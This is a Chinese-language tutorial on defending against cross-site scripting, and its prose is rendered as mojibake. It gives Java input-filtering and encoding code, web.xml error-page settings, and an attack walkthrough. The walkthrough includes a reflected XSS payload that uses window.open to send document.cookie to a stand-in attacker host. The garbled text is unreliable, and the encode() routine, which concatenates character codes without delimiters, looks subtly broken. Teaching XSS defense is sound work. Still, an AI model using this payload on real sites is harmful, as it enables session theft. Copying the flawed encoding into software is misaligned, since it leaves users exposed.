é²æ¢è·¨ç«ç¹èæ¬æ»å»ç解å³æ¹æ³ï¼
1.è¾å
¥è¿æ»¤
对æ¯ä¸ä¸ªç¨æ·çè¾å
¥æè
请æ±é¦é¨ï¼é½è¦è¿è¡è¿æ»¤ãè¿éè¦ç¨åºåæè¯å¥½çå®å
¨ç´ å
»ï¼èä¸éè¦è¦çå°ææçè¾å
¥æºãèä¸è¿ä¸è½å¤é»æ¢å
¶ä»çä¸äºé®é¢ï¼å¦é误页çã
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2.è¾åºè¿æ»¤
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
ä»»ä½çéservletä¾å¤é½è¢«/errPageGenericè·¯å¾ææï¼è¿æ ·å°±å¯ä»¥å¤çã
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.å®è£
ä¸æ¹çåºç¨é²ç«å¢ï¼å¯ä»¥æ¦æªcssæ»å»ã
éï¼
è·¨ç«èæ¬ä¸åå
¶ä»æ»å»åªå
å«ä¸¤ä¸ªé¨åï¼æ»å»è
åwebç«ç¹ã
è·¨ç«èæ¬å
å«ä¸ä¸ªé¨åï¼æ»å»è
ï¼å®¢æ·åwebç«ç¹ã
è·¨ç«èæ¬æ»å»çç®çæ¯çªå客æ·çcookiesï¼æè
å
¶ä»å¯ä»¥è¯æç¨æ·èº«ä»½çææä¿¡æ¯ã
æ»å»
ä¸ä¸ªget请æ±
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.siteä¼äº§çå¦ä¸çç»æ
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
ä½æ¯å¦æ请æ±è¢«ç¯¡æ¹
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host:
www.vulnerable.siteå°±ä¼å¾å°å¦ä¸çååº
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
è¿æ ·å¨å®¢æ·ç«¯ä¼æä¸æ®µéæ³çèæ¬æ§è¡ï¼è¿ä¸å
·æç ´åä½ç¨ï¼ä½æ¯å¦ä¸çèæ¬å°±å¾å±é©äºã
http://
www.vulnerable.site/welcome.cgi?name=<script>window.open(â
http://www.attacker.site/collect.cgi?cookie=â%2Bdocument.cookie)</script>
ååºå¦ä¸ï¼
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(â
http://www.attacker.site/collect.cgi?cookie=â+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
æµè§å¨åæ§è¡è¯¥èæ¬å¹¶å°å®¢æ·çcookieåå°ä¸ä¸ªæ»å»è
çç½ç«ï¼è¿æ ·æ»å»è
å°±å¾å°äºå®¢æ·çcookieã